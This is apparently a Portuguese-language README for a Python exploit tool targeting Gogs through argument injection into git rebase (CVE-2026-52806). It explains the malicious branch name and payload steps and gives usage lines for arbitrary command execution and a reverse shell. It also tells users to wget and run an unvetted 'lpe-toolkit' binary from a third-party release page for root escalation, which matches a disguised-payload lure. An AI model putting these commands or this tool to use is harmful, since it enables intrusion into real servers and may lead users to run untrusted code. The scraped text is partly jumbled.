
Gogs RCE via injeção de argumentos no git rebase (CWE-88) — PoC em Python. CVE-2026-52806
git rebase (CWE-88)Execução remota de código autenticada contra Gogs (<= 0.14.2 e 0.15.0+dev) por meio de injeção de argumentos no fluxo de merge de pull requests.
CVE-2026-52806
A função Merge() em internal/database/pull.go passa o nome do branch base da PR para git rebase sem um separador --. Um branch chamado --exec=<COMMAND> é interpretado pelo Git como a flag --exec em vez de um argumento posicional, fazendo com que sh -c <COMMAND> seja executado após cada commit reproduzido durante o rebase.
?v= em ativos estáticos e verifica se o registro de usuários está aberto, protegido por captcha ou desabilitado.-u <username> -pw <password>. Cria um token de API via autenticação Basic ou pela página de configurações da web.master com um READMEfeature-* com um commit divergente--exec=sh${IFS}.payload contendo um script que executa o comando do atacante em segundo plano--exec=.merge_style=rebase_before_merging. O Gogs executa internamente git rebase --exec=sh${IFS}.payload, que executa o payload após cada commit reproduzido.requests (pip install requests)gitpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
Relata:
Registration: ENABLED (no captcha) — é possível auto-registrarRegistration: ENABLED (CAPTCHA DETECTED) — crie uma conta manualmente na página de cadastro do alvo e forneça as credenciais com -u / -pwRegistration: DISABLED — são necessárias credenciais existentes de um administrador# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
Depois de obter um shell no alvo, o processo do Gogs normalmente é executado como um usuário de privilégios baixos (ex.: git no Docker). Para tentar a escalada de privilégios para root, baixe e execute o binário lpe-toolkit na página de releases do projeto:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
O toolkit enumera exploits de kernel, configurações incorretas e outros vetores comuns de escalada.
exploit/multi/http/gogs_rebase_rce da Rapid7 por Jonah Burgess (CryptoCat) (PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)Este PoC em Python é inspirado no módulo do Metasploit publicado. A vulnerabilidade foi descoberta e divulgada de forma responsável por Jonah Burgess (CryptoCat) na Rapid7.
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita de teste é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por este software.
A API do Gogs não suporta exclusão de tokens; portanto, quaisquer tokens de acesso à API criados durante a exploração persistirão e deverão ser removidos manualmente em /user/settings/applications na instância alvo.
| Flag | Descrição |
|---|
target | Host[:porta] (ex.: 47.109.58.140:9000) |
-p, --port | Porta HTTP (padrão: 3000) |
-u, --username | Nome de usuário do Gogs |
-pw, --password | Senha do Gogs |
--cookie | String do cookie de sessão |
--cmd | Comando a ser executado no alvo |
--listener | Reverse shell host:port |
--lhost / --lport | Host e porta do reverse shell |
--ssl | Usar HTTPS |
--preflight-only | Executar apenas as verificações pre-flight |